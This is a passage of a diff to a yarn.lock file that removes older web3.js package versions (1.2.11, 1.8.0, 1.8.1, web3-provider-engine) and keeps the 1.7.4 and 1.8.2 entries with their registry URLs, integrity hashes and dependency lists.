"https://registry.npmjs.org/web3-core-subscriptions/-/web3-core-subscriptions-1.8.0.tgz" - integrity sha512-7lHVRzDdg0+Gcog55lG6Q3D8JV+jN+4Ly6F8cSn9xFUAwOkdbgdWsjknQG7t7CDWy21DQkvdiY2BJF8S68AqOA== - dependencies: - eventemitter3 "4.0.4" - web3-core-helpers "1.8.0" - -web3-core-subscriptions@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-core-subscriptions/-/web3-core-subscriptions-1.8.1.tgz" - integrity sha512-bmCMq5OeA3E2vZUh8Js1HcJbhwtsE+yeMqGC4oIZB3XsL5SLqyKLB/pU+qUYqQ9o4GdcrFTDPhPg1bgvf7p1Pw== - dependencies: - eventemitter3 "4.0.4" - web3-core-helpers "1.8.1" - web3-core-subscriptions@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-core-subscriptions/-/web3-core-subscriptions-1.8.2.tgz#0c8bd49439d83c6f0a03c70f00b24a915a70a5ed" @@ -18080,19 +14175,6 @@ web3-core-subscriptions@1.8.2: eventemitter3 "4.0.4" web3-core-helpers "1.8.2" -web3-core@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-core/-/web3-core-1.2.11.tgz" - integrity sha512-CN7MEYOY5ryo5iVleIWRE3a3cZqVaLlIbIzDPsvQRUfzYnvzZQRZBm9Mq+ttDi2STOOzc1MKylspz/o3yq/LjQ== - dependencies: - "@types/bn.js" "^4.11.5" - "@types/node" "^12.12.6" - bignumber.js "^9.0.0" - web3-core-helpers "1.2.11" - web3-core-method "1.2.11" - web3-core-requestmanager "1.2.11" - web3-utils "1.2.11" - web3-core@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-core/-/web3-core-1.7.4.tgz" @@ -18106,32 +14188,6 @@ web3-core@1.7.4: web3-core-requestmanager "1.7.4" web3-utils "1.7.4" -web3-core@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-core/-/web3-core-1.8.0.tgz" - integrity sha512-9sCA+Z02ci6zoY2bAquFiDjujRwmSKHiSGi4B8IstML8okSytnzXk1izHYSynE7ahIkguhjWAuXFvX76F5rAbA== - dependencies: - "@types/bn.js" "^5.1.0" - "@types/node" "^12.12.6" - bignumber.js "^9.0.0" - web3-core-helpers "1.8.0" - web3-core-method "1.8.0" - web3-core-requestmanager "1.8.0" - web3-utils "1.8.0" - -web3-core@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-core/-/web3-core-1.8.1.tgz" - integrity sha512-LbRZlJH2N6nS3n3Eo9Y++25IvzMY7WvYnp4NM/Ajhh97dAdglYs6rToQ2DbL2RLvTYmTew4O/y9WmOk4nq9COw== - dependencies: - "@types/bn.js" "^5.1.0" - "@types/node" "^12.12.6" - bignumber.js "^9.0.0" - web3-core-helpers "1.8.1" - web3-core-method "1.8.1" - web3-core-requestmanager "1.8.1" - web3-utils "1.8.1" - web3-core@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-core/-/web3-core-1.8.2.tgz#333e93d7872b1a36efe758ed8b89a7acbdd962c2" @@ -18145,15 +14201,6 @@ web3-core@1.8.2: web3-core-requestmanager "1.8.2" web3-utils "1.8.2" -web3-eth-abi@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-1.2.11.tgz" - integrity sha512-PkRYc0+MjuLSgg03QVWqWlQivJqRwKItKtEpRUaxUAeLE7i/uU39gmzm2keHGcQXo3POXAbOnMqkDvOep89Crg== - dependencies: - "@ethersproject/abi" "5.0.0-beta.153" - underscore "1.9.1" - web3-utils "1.2.11" - web3-eth-abi@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-1.7.4.tgz" @@ -18162,22 +14209,6 @@ web3-eth-abi@1.7.4: "@ethersproject/abi" "^5.6.3" web3-utils "1.7.4" -web3-eth-abi@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-1.8.0.tgz" - integrity sha512-xPeMb2hS9YLQK/Q5YZpkcmzoRGM+/R8bogSrYHhNC3hjZSSU0YRH+1ZKK0f9YF4qDZaPMI8tKWIMSCDIpjG6fg== - dependencies: - "@ethersproject/abi" "^5.6.3" - web3-utils "1.8.0" - -web3-eth-abi@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-eth-abi/-/web3-eth-abi-1.8.1.tgz" - integrity sha512-0mZvCRTIG0UhDhJwNQJgJxu4b4DyIpuMA0GTfqxqeuqzX4Q/ZvmoNurw0ExTfXaGPP82UUmmdkRi6FdZOx+C6w== - dependencies: - "@ethersproject/abi" "^5.6.3" - web3-utils "1.8.1" - web3-eth-abi@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-eth-abi/-/web3-eth-abi-1.8.2.tgz#16e1e9be40e2527404f041a4745111211488f31a" @@ -18186,23 +14217,6 @@ web3-eth-abi@1.8.2: "@ethersproject/abi" "^5.6.3" web3-utils "1.8.2" -web3-eth-accounts@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-1.2.11.tgz" - integrity sha512-6FwPqEpCfKIh3nSSGeo3uBm2iFSnFJDfwL3oS9pyegRBXNsGRVpgiW63yhNzL0796StsvjHWwQnQHsZNxWAkGw== - dependencies: - crypto-browserify "3.12.0" - eth-lib "0.2.8" - ethereumjs-common "^1.3.2" - ethereumjs-tx "^2.1.1" - scrypt-js "^3.0.1" - underscore "1.9.1" - uuid "3.3.2" - web3-core "1.2.11" - web3-core-helpers "1.2.11" - web3-core-method "1.2.11" - web3-utils "1.2.11" - web3-eth-accounts@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-1.7.4.tgz" @@ -18220,40 +14234,6 @@ web3-eth-accounts@1.7.4: web3-core-method "1.7.4" web3-utils "1.7.4" -web3-eth-accounts@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-1.8.0.tgz" - integrity sha512-HQ/MDSv4bexwJLvnqsM6xpGE7c2NVOqyhzOZFyMUKXbIwIq85T3TaLnM9pCN7XqMpDcfxqiZ3q43JqQVkzHdmw== - dependencies: - "@ethereumjs/common" "^2.5.0" - "@ethereumjs/tx" "^3.3.2" - crypto-browserify "3.12.0" - eth-lib "0.2.8" - ethereumjs-util "^7.0.10" - scrypt-js "^3.0.1" - uuid "3.3.2" - web3-core "1.8.0" - web3-core-helpers "1.8.0" - web3-core-method "1.8.0" - web3-utils "1.8.0" - -web3-eth-accounts@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-eth-accounts/-/web3-eth-accounts-1.8.1.tgz" - integrity sha512-mgzxSYgN54/NsOFBO1Fq1KkXp1S5KlBvI/DlgvajU72rupoFMq6Cu6Yp9GUaZ/w2ij9PzEJuFJk174XwtfMCmg== - dependencies: - "@ethereumjs/common" "2.5.0" - "@ethereumjs/tx" "3.3.2" - crypto-browserify "3.12.0" - eth-lib "0.2.8" - ethereumjs-util "^7.0.10" - scrypt-js "^3.0.1" - uuid "^9.0.0" - web3-core "1.8.1" - web3-core-helpers "1.8.1" - web3-core-method "1.8.1" - web3-utils "1.8.1" - web3-eth-accounts@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-eth-accounts/-/web3-eth-accounts-1.8.2.tgz#b894f5d5158fcae429da42de75d96520d0712971" @@ -18270,21 +14250,6 @@ web3-eth-accounts@1.8.2: web3-core-method "1.8.2" web3-utils "1.8.2" -web3-eth-contract@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-1.2.11.tgz" - integrity sha512-MzYuI/Rq2o6gn7vCGcnQgco63isPNK5lMAan2E51AJLknjSLnOxwNY3gM8BcKoy4Z+v5Dv00a03Xuk78JowFow== - dependencies: - "@types/bn.js" "^4.11.5" - underscore "1.9.1" - web3-core "1.2.11" - web3-core-helpers "1.2.11" - web3-core-method "1.2.11" - web3-core-promievent "1.2.11" - web3-core-subscriptions "1.2.11" - web3-eth-abi "1.2.11" - web3-utils "1.2.11" - web3-eth-contract@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-1.7.4.tgz" @@ -18299,34 +14264,6 @@ web3-eth-contract@1.7.4: web3-eth-abi "1.7.4" web3-utils "1.7.4" -web3-eth-contract@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-1.8.0.tgz" - integrity sha512-6xeXhW2YoCrz2Ayf2Vm4srWiMOB6LawkvxWJDnUWJ8SMATg4Pgu42C/j8rz/enXbYWt2IKuj0kk8+QszxQbK+Q== - dependencies: - "@types/bn.js" "^5.1.0" - web3-core "1.8.0" - web3-core-helpers "1.8.0" - web3-core-method "1.8.0" - web3-core-promievent "1.8.0" - web3-core-subscriptions "1.8.0" - web3-eth-abi "1.8.0" - web3-utils "1.8.0" - -web3-eth-contract@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-eth-contract/-/web3-eth-contract-1.8.1.tgz" - integrity sha512-1wphnl+/xwCE2io44JKnN+ti3oa47BKRiVzvWd42icwRbcpFfRxH9QH+aQX3u8VZIISNH7dAkTWpGIIJgGFTmg== - dependencies: - "@types/bn.js" "^5.1.0" - web3-core "1.8.1" - web3-core-helpers "1.8.1" - web3-core-method "1.8.1" - web3-core-promievent "1.8.1" - web3-core-subscriptions "1.8.1" - web3-eth-abi "1.8.1" - web3-utils "1.8.1" - web3-eth-contract@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-eth-contract/-/web3-eth-contract-1.8.2.tgz#5388b7130923d2b790c09a420391a81312a867fb" @@ -18341,21 +14278,6 @@ web3-eth-contract@1.8.2: web3-eth-abi "1.8.2" web3-utils "1.8.2" -web3-eth-ens@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-1.2.11.tgz" - integrity sha512-dbW7dXP6HqT1EAPvnniZVnmw6TmQEKF6/1KgAxbo8iBBYrVTMDGFQUUnZ+C4VETGrwwaqtX4L9d/FrQhZ6SUiA== - dependencies: - content-hash "^2.5.2" - eth-ens-namehash "2.0.8" - underscore "1.9.1" - web3-core "1.2.11" - web3-core-helpers "1.2.11" - web3-core-promievent "1.2.11" - web3-eth-abi "1.2.11" - web3-eth-contract "1.2.11" - web3-utils "1.2.11" - web3-eth-ens@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-1.7.4.tgz" @@ -18370,34 +14292,6 @@ web3-eth-ens@1.7.4: web3-eth-contract "1.7.4" web3-utils "1.7.4" -web3-eth-ens@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-1.8.0.tgz" - integrity sha512-/eFbQEwvsMOEiOhw9/iuRXCsPkqAmHHWuFOrThQkozRgcnSTRnvxkkRC/b6koiT5/HaKeUs4yQDg+/ixsIxZxA== - dependencies: - content-hash "^2.5.2" - eth-ens-namehash "2.0.8" - web3-core "1.8.0" - web3-core-helpers "1.8.0" - web3-core-promievent "1.8.0" - web3-eth-abi "1.8.0" - web3-eth-contract "1.8.0" - web3-utils "1.8.0" - -web3-eth-ens@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-eth-ens/-/web3-eth-ens-1.8.1.tgz" - integrity sha512-FT8xTI9uN8RxeBQa/W8pLa2aoFh4+EE34w7W2271LICKzla1dtLyb6XSdn48vsUcPmhWsTVk9mO9RTU0l4LGQQ== - dependencies: - content-hash "^2.5.2" - eth-ens-namehash "2.0.8" - web3-core "1.8.1" - web3-core-helpers "1.8.1" - web3-core-promievent "1.8.1" - web3-eth-abi "1.8.1" - web3-eth-contract "1.8.1" - web3-utils "1.8.1" - web3-eth-ens@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-eth-ens/-/web3-eth-ens-1.8.2.tgz#0a086ad4d919102e28b9fd3036df246add9df22a" @@ -18412,14 +14306,6 @@ web3-eth-ens@1.8.2: web3-eth-contract "1.8.2" web3-utils "1.8.2" -web3-eth-iban@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-1.2.11.tgz" - integrity sha512-ozuVlZ5jwFC2hJY4+fH9pIcuH1xP0HEFhtWsR69u9uDIANHLPQQtWYmdj7xQ3p2YT4bQLq/axKhZi7EZVetmxQ== - dependencies: - bn.js "^4.11.9" - web3-utils "1.2.11" - web3-eth-iban@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-1.7.4.tgz" @@ -18428,22 +14314,6 @@ web3-eth-iban@1.7.4: bn.js "^5.2.1" web3-utils "1.7.4" -web3-eth-iban@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-1.8.0.tgz" - integrity sha512-4RbvUxcMpo/e5811sE3a6inJ2H4+FFqUVmlRYs0RaXaxiHweahSRBNcpO0UWgmlePTolj0rXqPT2oEr0DuC8kg== - dependencies: - bn.js "^5.2.1" - web3-utils "1.8.0" - -web3-eth-iban@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-eth-iban/-/web3-eth-iban-1.8.1.tgz" - integrity sha512-DomoQBfvIdtM08RyMGkMVBOH0vpOIxSSQ+jukWk/EkMLGMWJtXw/K2c2uHAeq3L/VPWNB7zXV2DUEGV/lNE2Dg== - dependencies: - bn.js "^5.2.1" - web3-utils "1.8.1" - web3-eth-iban@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-eth-iban/-/web3-eth-iban-1.8.2.tgz#5cb3022234b13986f086353b53f0379a881feeaf" @@ -18452,18 +14322,6 @@ web3-eth-iban@1.8.2: bn.js "^5.2.1" web3-utils "1.8.2" -web3-eth-personal@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-1.2.11.tgz" - integrity sha512-42IzUtKq9iHZ8K9VN0vAI50iSU9tOA1V7XU2BhF/tb7We2iKBVdkley2fg26TxlOcKNEHm7o6HRtiiFsVK4Ifw== - dependencies: - "@types/node" "^12.12.6" - web3-core "1.2.11" - web3-core-helpers "1.2.11" - web3-core-method "1.2.11" - web3-net "1.2.11" - web3-utils "1.2.11" - web3-eth-personal@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-1.7.4.tgz" @@ -18476,30 +14334,6 @@ web3-eth-personal@1.7.4: web3-net "1.7.4" web3-utils "1.7.4" -web3-eth-personal@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-1.8.0.tgz" - integrity sha512-L7FT4nR3HmsfZyIAhFpEctKkYGOjRC2h6iFKs9gnFCHZga8yLcYcGaYOBIoYtaKom99MuGBoosayWt/Twh7F5A== - dependencies: - "@types/node" "^12.12.6" - web3-core "1.8.0" - web3-core-helpers "1.8.0" - web3-core-method "1.8.0" - web3-net "1.8.0" - web3-utils "1.8.0" - -web3-eth-personal@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-1.8.1.tgz" - integrity sha512-myIYMvj7SDIoV9vE5BkVdon3pya1WinaXItugoii2VoTcQNPOtBxmYVH+XS5ErzCJlnxzphpQrkywyY64bbbCA== - dependencies: - "@types/node" "^12.12.6" - web3-core "1.8.1" - web3-core-helpers "1.8.1" - web3-core-method "1.8.1" - web3-net "1.8.1" - web3-utils "1.8.1" - web3-eth-personal@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-eth-personal/-/web3-eth-personal-1.8.2.tgz#3526c1ebaa4e7bf3a0a8ec77e34f067cc9a750b2" @@ -18512,25 +14346,6 @@ web3-eth-personal@1.8.2: web3-net "1.8.2" web3-utils "1.8.2" -web3-eth@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-eth/-/web3-eth-1.2.11.tgz" - integrity sha512-REvxW1wJ58AgHPcXPJOL49d1K/dPmuw4LjPLBPStOVkQjzDTVmJEIsiLwn2YeuNDd4pfakBwT8L3bz1G1/wVsQ== - dependencies: - underscore "1.9.1" - web3-core "1.2.11" - web3-core-helpers "1.2.11" - web3-core-method "1.2.11" - web3-core-subscriptions "1.2.11" - web3-eth-abi "1.2.11" - web3-eth-accounts "1.2.11" - web3-eth-contract "1.2.11" - web3-eth-ens "1.2.11" - web3-eth-iban "1.2.11" - web3-eth-personal "1.2.11" - web3-net "1.2.11" - web3-utils "1.2.11" - web3-eth@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-eth/-/web3-eth-1.7.4.tgz" @@ -18549,42 +14364,6 @@ web3-eth@1.7.4: web3-net "1.7.4" web3-utils "1.7.4" -web3-eth@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-eth/-/web3-eth-1.8.0.tgz" - integrity sha512-hist52os3OT4TQFB/GxPSMxTh3995sz6LPvQpPvj7ktSbpg9RNSFaSsPlCT63wUAHA3PZb1FemkAIeQM5t72Lw== - dependencies: - web3-core "1.8.0" - web3-core-helpers "1.8.0" - web3-core-method "1.8.0" - web3-core-subscriptions "1.8.0" - web3-eth-abi "1.8.0" - web3-eth-accounts "1.8.0" - web3-eth-contract "1.8.0" - web3-eth-ens "1.8.0" - web3-eth-iban "1.8.0" - web3-eth-personal "1.8.0" - web3-net "1.8.0" - web3-utils "1.8.0" - -web3-eth@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-eth/-/web3-eth-1.8.1.tgz" - integrity sha512-LgyzbhFqiFRd8M8sBXoFN4ztzOnkeckl3H/9lH5ek7AdoRMhBg7tYpYRP3E5qkhd/q+yiZmcUgy1AF6NHrC1wg== - dependencies: - web3-core "1.8.1" - web3-core-helpers "1.8.1" - web3-core-method "1.8.1" - web3-core-subscriptions "1.8.1" - web3-eth-abi "1.8.1" - web3-eth-accounts "1.8.1" - web3-eth-contract "1.8.1" - web3-eth-ens "1.8.1" - web3-eth-iban "1.8.1" - web3-eth-personal "1.8.1" - web3-net "1.8.1" - web3-utils "1.8.1" - web3-eth@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-eth/-/web3-eth-1.8.2.tgz#8562287ae1803c30eb54dc7d832092e5739ce06a" @@ -18603,15 +14382,6 @@ web3-eth@1.8.2: web3-net "1.8.2" web3-utils "1.8.2" -web3-net@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-net/-/web3-net-1.2.11.tgz" - integrity sha512-sjrSDj0pTfZouR5BSTItCuZ5K/oZPVdVciPQ6981PPPIwJJkCMeVjD7I4zO3qDPCnBjBSbWvVnLdwqUBPtHxyg== - dependencies: - web3-core "1.2.11" - web3-core-method "1.2.11" - web3-utils "1.2.11" - web3-net@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-net/-/web3-net-1.7.4.tgz" @@ -18621,24 +14391,6 @@ web3-net@1.7.4: web3-core-method "1.7.4" web3-utils "1.7.4" -web3-net@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-net/-/web3-net-1.8.0.tgz" - integrity sha512-kX6EAacK7QrOe7DOh0t5yHS5q2kxZmTCxPVwSz9io9xBeE4n4UhmzGJ/VfhP2eM3OPKYeypcR3LEO6zZ8xn2vw== - dependencies: - web3-core "1.8.0" - web3-core-method "1.8.0" - web3-utils "1.8.0" - -web3-net@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-net/-/web3-net-1.8.1.tgz" - integrity sha512-LyEJAwogdFo0UAXZqoSJGFjopdt+kLw0P00FSZn2yszbgcoI7EwC+nXiOsEe12xz4LqpYLOtbR7+gxgiTVjjHQ== - dependencies: - web3-core "1.8.1" - web3-core-method "1.8.1" - web3-utils "1.8.1" - web3-net@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-net/-/web3-net-1.8.2.tgz#97e1e0015fabc4cda31017813e98d0b5468dd04f" @@ -18648,68 +14400,6 @@ web3-net@1.8.2: web3-core-method "1.8.2" web3-utils "1.8.2" -web3-provider-engine@14.2.1: - version "14.2.1" - resolved "https://registry.npmjs.org/web3-provider-engine/-/web3-provider-engine-14.2.1.tgz" - integrity sha512-iSv31h2qXkr9vrL6UZDm4leZMc32SjWJFGOp/D92JXfcEboCqraZyuExDkpxKw8ziTufXieNM7LSXNHzszYdJw== - dependencies: - async "^2.5.0" - backoff "^2.5.0" - clone "^2.0.0" - cross-fetch "^2.1.0" - eth-block-tracker "^3.0.0" - eth-json-rpc-infura "^3.1.0" - eth-sig-util "^1.4.2" - ethereumjs-block "^1.2.2" - ethereumjs-tx "^1.2.0" - ethereumjs-util "^5.1.5" - ethereumjs-vm "^2.3.4" - json-rpc-error "^2.0.0" - json-stable-stringify "^1.0.1" - promise-to-callback "^1.0.0" - readable-stream "^2.2.9" - request "^2.85.0" - semaphore "^1.0.3" - ws "^5.1.1" - xhr "^2.2.0" - xtend "^4.0.1" - -web3-provider-engine@16.0.3: - version "16.0.3" - resolved "https://registry.npmjs.org/web3-provider-engine/-/web3-provider-engine-16.0.3.tgz" - integrity sha512-Q3bKhGqLfMTdLvkd4TtkGYJHcoVQ82D1l8jTIwwuJp/sAp7VHnRYb9YJ14SW/69VMWoOhSpPLZV2tWb9V0WJoA== - dependencies: - "@ethereumjs/tx" "^3.3.0" - async "^2.5.0" - backoff "^2.5.0" - clone "^2.0.0" - cross-fetch "^2.1.0" - eth-block-tracker "^4.4.2" - eth-json-rpc-filters "^4.2.1" - eth-json-rpc-infura "^5.1.0" - eth-json-rpc-middleware "^6.0.0" - eth-rpc-errors "^3.0.0" - eth-sig-util "^1.4.2" - ethereumjs-block "^1.2.2" - ethereumjs-util "^5.1.5" - ethereumjs-vm "^2.3.4" - json-stable-stringify "^1.0.1" - promise-to-callback "^1.0.0" - readable-stream "^2.2.9" - request "^2.85.0" - semaphore "^1.0.3" - ws "^5.1.1" - xhr "^2.2.0" - xtend "^4.0.1" - -web3-providers-http@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-1.2.11.tgz" - integrity sha512-psh4hYGb1+ijWywfwpB2cvvOIMISlR44F/rJtYkRmQ5jMvG4FOCPlQJPiHQZo+2cc3HbktvvSJzIhkWQJdmvrA== - dependencies: - web3-core-helpers "1.2.11" - xhr2-cookies "1.1.0" - web3-providers-http@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-1.7.4.tgz" @@ -18718,26 +14408,6 @@ web3-providers-http@1.7.4: web3-core-helpers "1.7.4" xhr2-cookies "1.1.0" -web3-providers-http@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-1.8.0.tgz" - integrity sha512-/MqxwRzExohBWW97mqlCSW/+NHydGRyoEDUS1bAIF2YjfKFwyRtHgrEzOojzkC9JvB+8LofMvbXk9CcltpZapw== - dependencies: - abortcontroller-polyfill "^1.7.3" - cross-fetch "^3.1.4" - es6-promise "^4.2.8" - web3-core-helpers "1.8.0" - -web3-providers-http@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-1.8.1.tgz" - integrity sha512-1Zyts4O9W/UNEPkp+jyL19Jc3D15S4yp8xuLTjVhcUEAlHo24NDWEKxtZGUuHk4HrKL2gp8OlsDbJ7MM+ESDgg== - dependencies: - abortcontroller-polyfill "^1.7.3" - cross-fetch "^3.1.4" - es6-promise "^4.2.8" - web3-core-helpers "1.8.1" - web3-providers-http@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-providers-http/-/web3-providers-http-1.8.2.tgz#fbda3a3bbc8db004af36e91bec35f80273b37885" @@ -18748,15 +14418,6 @@ web3-providers-http@1.8.2: es6-promise "^4.2.8" web3-core-helpers "1.8.2" -web3-providers-ipc@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-1.2.11.tgz" - integrity sha512-yhc7Y/k8hBV/KlELxynWjJDzmgDEDjIjBzXK+e0rHBsYEhdCNdIH5Psa456c+l0qTEU2YzycF8VAjYpWfPnBpQ== - dependencies: - oboe "2.1.4" - underscore "1.9.1" - web3-core-helpers "1.2.11" - web3-providers-ipc@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-1.7.4.tgz" @@ -18765,22 +14426,6 @@ web3-providers-ipc@1.7.4: oboe "2.1.5" web3-core-helpers "1.7.4" -web3-providers-ipc@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-1.8.0.tgz" - integrity sha512-tAXHtVXNUOgehaBU8pzAlB3qhjn/PRpjdzEjzHNFqtRRTwzSEKOJxFeEhaUA4FzHnTlbnrs8ujHWUitcp1elfg== - dependencies: - oboe "2.1.5" - web3-core-helpers "1.8.0" - -web3-providers-ipc@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-1.8.1.tgz" - integrity sha512-nw/W5nclvi+P2z2dYkLWReKLnocStflWqFl+qjtv0xn3MrUTyXMzSF0+61i77+16xFsTgzo4wS/NWIOVkR0EFA== - dependencies: - oboe "2.1.5" - web3-core-helpers "1.8.1" - web3-providers-ipc@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-providers-ipc/-/web3-providers-ipc-1.8.2.tgz#e52a7250f40c83b99a2482ec5b4cf2728377ae5c" @@ -18789,16 +14434,6 @@ web3-providers-ipc@1.8.2: oboe "2.1.5" web3-core-helpers "1.8.2" -web3-providers-ws@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-1.2.11.tgz" - integrity sha512-ZxnjIY1Er8Ty+cE4migzr43zA/+72AF1myzsLaU5eVgdsfV7Jqx7Dix1hbevNZDKFlSoEyq/3j/jYalh3So1Zg== - dependencies: - eventemitter3 "4.0.4" - underscore "1.9.1" - web3-core-helpers "1.2.11" - websocket "^1.0.31" - web3-providers-ws@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-1.7.4.tgz" @@ -18808,24 +14443,6 @@ web3-providers-ws@1.7.4: web3-core-helpers "1.7.4" websocket "^1.0.32" -web3-providers-ws@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-1.8.0.tgz" - integrity sha512-bcZtSifsqyJxwkfQYamfdIRp4nhj9eJd7cxHg1uUkfLJK125WP96wyJL1xbPt7qt0MpfnTFn8/UuIqIB6nFENg== - dependencies: - eventemitter3 "4.0.4" - web3-core-helpers "1.8.0" - websocket "^1.0.32" - -web3-providers-ws@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-1.8.1.tgz" - integrity sha512-TNefIDAMpdx57+YdWpYZ/xdofS0P+FfKaDYXhn24ie/tH9G+AB+UBSOKnjN0KSadcRSCMBwGPRiEmNHPavZdsA== - dependencies: - eventemitter3 "4.0.4" - web3-core-helpers "1.8.1" - websocket "^1.0.32" - web3-providers-ws@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-providers-ws/-/web3-providers-ws-1.8.2.tgz#56a2b701387011aca9154ca4bc06ea4b5f27e4ef" @@ -18835,16 +14452,6 @@ web3-providers-ws@1.8.2: web3-core-helpers "1.8.2" websocket "^1.0.32" -web3-shh@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-shh/-/web3-shh-1.2.11.tgz" - integrity sha512-B3OrO3oG1L+bv3E1sTwCx66injW1A8hhwpknDUbV+sw3fehFazA06z9SGXUefuFI1kVs4q2vRi0n4oCcI4dZDg== - dependencies: - web3-core "1.2.11" - web3-core-method "1.2.11" - web3-core-subscriptions "1.2.11" - web3-net "1.2.11" - web3-shh@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-shh/-/web3-shh-1.7.4.tgz" @@ -18855,26 +14462,6 @@ web3-shh@1.7.4: web3-core-subscriptions "1.7.4" web3-net "1.7.4" -web3-shh@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-shh/-/web3-shh-1.8.0.tgz" - integrity sha512-DNRgSa9Jf9xYFUGKSMylrf+zt3MPjhI2qF+UWX07o0y3+uf8zalDGiJOWvIS4upAsdPiKKVJ7co+Neof47OMmg== - dependencies: - web3-core "1.8.0" - web3-core-method "1.8.0" - web3-core-subscriptions "1.8.0" - web3-net "1.8.0" - -web3-shh@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-shh/-/web3-shh-1.8.1.tgz" - integrity sha512-sqHgarnfcY2Qt3PYS4R6YveHrDy7hmL09yeLLHHCI+RKirmjLVqV0rc5LJWUtlbYI+kDoa5gbgde489M9ZAC0g== - dependencies: - web3-core "1.8.1" - web3-core-method "1.8.1" - web3-core-subscriptions "1.8.1" - web3-net "1.8.1" - web3-shh@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-shh/-/web3-shh-1.8.2.tgz#217a417f0d6e243dd4d441848ffc2bd164cea8a0" @@ -18885,21 +14472,7 @@ web3-shh@1.8.2: web3-core-subscriptions "1.8.2" web3-net "1.8.2" -web3-utils@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-utils/-/web3-utils-1.2.11.tgz" - integrity 